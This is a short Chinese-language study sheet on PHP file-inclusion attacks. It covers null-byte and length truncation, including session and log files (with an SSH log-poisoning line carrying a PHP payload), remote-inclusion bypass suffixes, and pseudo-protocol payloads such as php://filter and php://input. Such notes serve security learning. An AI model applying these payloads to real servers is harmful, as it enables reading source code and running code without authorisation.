相关函数
require()
生成致命错误 (E_COMPILE_ERROR) 并停止脚本。
include()
只生成警告(E_WARNING),脚本会继续。
require_once() & include_once()
如前面已包含,忽略本次,用于嵌套包含,避免函数重定义,变量重新赋值等。
包含文件
本地文件包含
%00
截断: PHP版本 < 5.3.4,magic_quotes_gpc=Off
- 长度截断: PHP版本 < php 5.2.8,Windows为256字节、Linux为4096字节
1 | include($filename.".php"); |
包含session文件
- session文件路径: phpinfo()
- session.use_strict_mode:
session id
使用方式,0 - 客户端,1 - 服务端,缺省为0 - phpstudy的
sessionId
存储目录默认在tmp/tmp
包含资源文件
- .jpg/.png …
- .rar/.zip/.tar/.tar.gz/.7z …
- .txt/.doc/.xls/.docx
- .mp4/.mp3 …
- …
包含日志文件
- 中间件日志:access.log、error.log …
- FTP日志: /var/log/vsftpd.log (用户名输入一句话)
- SSH日志: /var/log/auth.log
- MySQL日志: /var/log/mysql/error.log
- Web应用日志
- …
1 | ssh "<?php phpinfo(); ?>"@192.168.1.1 |
远程文件包含
1 | allow_url_fopen = On 默认为 On |
- 问号绕过:
http://xxx/abc.txt?
- 井号绕过:
http://xxx/abc.txt%23
- 空格绕过:
http://xxx/abc.txt%20
1 | include($filename.".php"); |
伪协议
- file://
1 | ?file=file://./1.txt |
- php://filter
1 | ?filename=php://filter/convert.base64-encode/resource=filename |
- data://
1 | PHP版本 >= 5.2 |
- zip://
1 | PHP版本 >= 5.3.0 |
- bzip2://
1 | PHP版本 >= 5.3.0 |
- zlib://
1 | PHP版本 >= 5.3.0 |
- php://input
1 | allow_url_include = On |
- php://filter
1 | ?file=php://filter/resource=1.txt |
- phar://
1 | PHP版本 >= 5.3.0 |